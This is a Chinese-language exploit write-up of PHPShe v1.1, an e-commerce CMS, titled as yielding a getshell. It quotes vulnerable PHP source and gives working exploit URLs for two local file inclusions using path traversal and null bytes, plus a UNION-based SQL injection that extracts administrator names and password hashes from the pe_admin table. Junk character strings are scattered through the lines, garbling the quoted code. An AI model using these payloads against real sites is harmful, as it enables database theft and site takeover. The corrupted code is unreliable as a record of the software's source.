phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
2 s& p2 {! d) b$ J# x% z* A: O' Z/* By: : Kn1f3
/* E-Mail : 681796@qq.com
+ Q2 K; e6 T- g; O$ }1 W1 ~! p5 a/*******************************************************/
3 k8 T9 @( W8 o9 i$ A0×00 整体大概参数传输
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# ^1 Y/ C# i! p* t/ N) Y//common.php
* d0 d8 b. x- Z+ f# gif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
! G# W' r) ~) b3 T, @, w}
& A- Y7 z- l- A+ R& y& ?# g. J  velse {
4 ~9 N8 y8 f- e!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
4 V: V/ m; u/ P8 vsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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5 ~0 o' R. d: Y4 ^' F2 q//首页文件
* W; g  ^7 }$ A<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
( i' P' F4 R. m, ^0 d5 o8 F8 X. @/ Q?>
$ P' g, W$ [3 f) _2 F1 ]//common 文件 第15行开始
* |( q, x2 v! r- ]) p# E" h* zurl路由配置
$module = $mod = $act = 'index';
. c( `& w* O+ H$ f0 |' @" b$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
1 C2 _4 `" Y! p, B2 W$ e( h1 z$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

' ]. C0 i. M/ K3 V7 K" ~& g 0×02 搜索注入

<code id="code2">

//product.php文件
! g+ i! r. m. M6 y5 L3 zcase 'list':
$category_id = intval($id);
: l1 n- g7 x* y$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
1 O3 @. \1 M' R# A* i$sqlwhere = " and `product_state` = 1";
: F% q/ Y% }4 z8 ?% X" m7 J7 fpe_lead('hook/category.hook.php');
5 z1 \2 a' |9 Vif ($category_id) {
! f' x/ k* X, cwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
6 c& ]% A3 ^% q1 Q* _$ b* D}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
, n, T4 O7 w/ B' `9 T/ Iif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
" j/ L$ U& q1 f: G: C9 [6 J$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
, U3 v0 p4 A+ U6 Gelse {
& f- N6 y0 a" R9 q, ]* G) f' }$sqlwhere .= " order by `product_id` desc";
2 Q' H7 q5 Y; \. q% l4 n0 R* l. A}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
% q2 d! Y1 E/ ?! }+ Y/ e8 B" i//热卖排行
$product_hotlist = product_hotlist();
2 U1 I+ o, o. Z1 m7 N* d' `//当前路径
; W. e( a9 P" B  l% `$nowpath = category_path($category_id);
4 ^" Y, _. }* `: _' J& ]$ O$ K$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
" r! a6 u* q$ V/ Z+ J9 G//处理条件语句
+ G% B0 Y  o( s7 k8 `# B$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
9 R( t* f/ g- W+ k$ d: B}
" d) z2 t: i  Z& e/ p, x//exp
# a/ j/ [4 n6 Aproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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0×03 包含漏洞2

! x( v" M' l- X  U" Q  G+ Q<code id="code3">

//order.php

case 'pay':

$ ~+ Y9 s' ]/ a3 W4 d( }$order_id = pe_dbhold($_g_id);

( E0 T4 N6 S2 H, j- w9 N$cache_payway = cache::get('payway');

. P1 \. S8 j; G# C2 dforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

$ H4 S8 n0 }+ t$ `* W1 n# D$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

' J5 {0 k, H" h8 d" c- T- ?}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

+ R3 v+ Q- d2 mforeach ($info_list as $v) {

* n/ \; @+ K9 L3 i2 T  X5 L$order['order_name'] .= "{$v['product_name']};";

}

' `/ l/ D/ l9 Q# k7 techo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

! d% B2 g" D9 q) t( t$ p% [% j- l6 _else {

7 P2 W. e. m3 ~pe_error('支付错误...');

}

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, c; A, y" J' H# D3 z$seo = pe_seo('选择支付方式');

$ _& V' s+ ]' n  u/ J' U2 ?& H! pinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>